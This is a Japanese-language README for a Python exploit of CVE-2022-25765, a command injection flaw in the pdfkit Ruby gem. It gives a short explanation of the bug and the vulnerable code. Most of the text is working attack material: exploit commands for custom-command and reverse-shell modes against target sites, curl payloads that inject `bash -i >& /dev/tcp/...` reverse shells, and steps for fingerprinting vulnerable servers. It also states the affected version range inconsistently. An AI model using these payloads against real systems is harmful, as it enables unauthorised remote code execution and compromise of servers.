
pdfkitにおけるCVE-2022-25765のコマンドインジェクションのPythonエクスプロイト。細工されたURLを使用してリモートコード実行を可能にし、リバースシェルおよびカスタムコマンドモードを備えています。
CVE-2022-25765 は、pdfkit(Ruby gem)のバージョン < 0.8.7.2 に影響するコマンドインジェクション脆弱性です。この脆弱性は CRITICAL の深刻度(CVSS 9.8)を持ち、認証なしでリモートからコマンドを実行できます。
問題は、pdfkit が url パラメータをサニタイズせずに直接シェルに渡すことにあります。ライブラリは内部で wkhtmltopdf を次のようなコマンドで実行します。
system("wkhtmltopdf --quiet ... '#{url}' output.pdf")
URL に %20(URLエンコードされたスペース)に続けてバックティック ` または $() が含まれていると、シェルはその内容をコマンドとして解釈し、実行します。
CVSS 3.1: 9.8 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
pdfkit の脆弱なコード(source.rb:44-50):
def command
args = @options.map { |k, v| "--#{k} #{v}" }.join(' ')
"wkhtmltopdf #{args} \"#{@source.to_s}\" -"
end
URL はサニタイズなしでシェルコマンドに直接展開されます。%20(スペース)を含めると、スペース以降の内容が wkhtmltopdf の引数コンテキストから脱出し、 ` や $() によって任意のコマンドが実行されます。
UNICORDev (@NicPWNs および @Dev-Yeoj)
オリジナルのエクスプロイトは以下にあります。
requests、urllib3pip install -r requirements.txt
# カスタムコマンドモード(ペイロード生成)
python3 exploit-CVE-2022-25765.py -c "whoami"
# リバースシェルモード(ペイロード生成)
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444
# Webモード — 脆弱なサイトに直接コマンド送信
python3 exploit-CVE-2022-25765.py -c "id" -w http://target.com/ -p url
# Webモード — 脆弱なサイトに直接リバースシェル送信
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444 -w http://target.com/ -p url
# ヘルプ
python3 exploit-CVE-2022-25765.py -h
# curl によるインジェクション
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\`bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\`"
# またはバックティックの代わりに $() を使用
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\$(bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1')"
# 単純なコマンド
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\`id\`"
サーバが脆弱かどうかを確認するには:
Creator: pdfkit v0.8.6# URLを送信しコールバックを受信
curl -X POST http://target.com/ -d "url=http://YOUR_IP:4444/test"
# リスナー: nc -lnvp 4444
# User-Agent: wkhtmltopdf のリクエストを受信すれば、アプリはPDF変換を行っている
# PDFのメタデータでバージョン確認
curl -s http://target.com/ -X POST --data-urlencode "url=http://example.com" -o output.pdf
pdfinfo output.pdf | grep Creator
# 探す: "Generated by pdfkit v0.8.6" (脆弱)
url パラメータをサニタイズし、危険な文字(`、$()、%20)を除去する| フィールド | 値 |
|---|
| CVE | CVE-2022-25765 |
| 製品 | pdfkit (Ruby gem) |
| 影響を受けるバージョン | 0.0.0 – 0.8.7.2 |
| タイプ | Command Injection (CWE-78) |
| 認証 | 不要 |
| CVSS 3.1 | 9.8 CRITICAL |
| パッチ | pdfkit ≥ 0.8.7.2 |
| パラメータ | 説明 |
|---|
-c | カスタムコマンド |
-s <IP> <PORT> | リバースシェルモード |
-w <URL> | 脆弱なWebサイトのURL(オプション) |
-p <param> | POSTパラメータ(オプション、デフォルト: url) |
-h | ヘルプ |